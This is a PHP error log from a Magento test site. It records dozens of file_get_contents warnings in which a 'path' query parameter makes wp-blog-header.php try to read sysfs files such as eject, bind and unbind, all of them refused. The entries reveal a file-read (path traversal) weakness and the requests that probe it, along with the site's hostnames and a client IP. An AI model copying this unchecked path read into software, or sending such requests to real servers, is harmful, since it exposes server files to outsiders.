[Thu Mar 26 11:12:02.484899 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:ae
[Thu Mar 26 11:12:02.998970 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:12:04.020577 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ea
[Thu Mar 26 11:12:05.619559 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ec
[Thu Mar 26 11:12:06.625041 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:12:07.698106 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:de
[Thu Mar 26 11:12:09.361220 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:12:15.651583 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:12:16.213450 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ac
[Thu Mar 26 11:12:20.359621 2026] [php:warn] [pid 3106405] [client 74.7.241.26:41680] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:12:25.253710 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:dc
[Thu Mar 26 11:12:25.804352 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ea
[Thu Mar 26 11:12:26.303593 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ae
[Thu Mar 26 11:12:27.456562 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:be
[Thu Mar 26 11:12:30.599414 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:12:31.151081 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/drivers/ec
[Thu Mar 26 11:12:31.656147 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/device:bc
[Thu Mar 26 11:12:33.217875 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:ac
[Thu Mar 26 11:12:38.466892 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:12:39.024306 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:12:40.616047 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae
[Thu Mar 26 11:12:43.261611 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:fc
[Thu Mar 26 11:12:44.321565 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fa
[Thu Mar 26 11:12:46.875425 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:fc
[Thu Mar 26 11:12:48.511660 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:12:55.428950 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:12:58.020988 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:da
[Thu Mar 26 11:13:00.132436 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/devices/device:de
[Thu Mar 26 11:13:00.695910 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ca
[Thu Mar 26 11:13:02.809757 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:13:03.264460 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac
[Thu Mar 26 11:13:05.906705 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:13:08.078889 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:aa
[Thu Mar 26 11:13:10.181796 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:cc
[Thu Mar 26 11:13:10.741901 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ec
[Thu Mar 26 11:13:11.225534 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:13:15.982955 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fa
[Thu Mar 26 11:13:16.500639 2026] [php:warn] [pid 3117489] [client 74.7.241.26:50914] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:13:20.515908 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:13:23.179598 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:13:24.698087 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:bc
[Thu Mar 26 11:13:26.793869 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:13:29.497995 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:13:29.994086 2026] [php:warn] [pid 3107062] [client 74.7.241.26:54504] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:ac
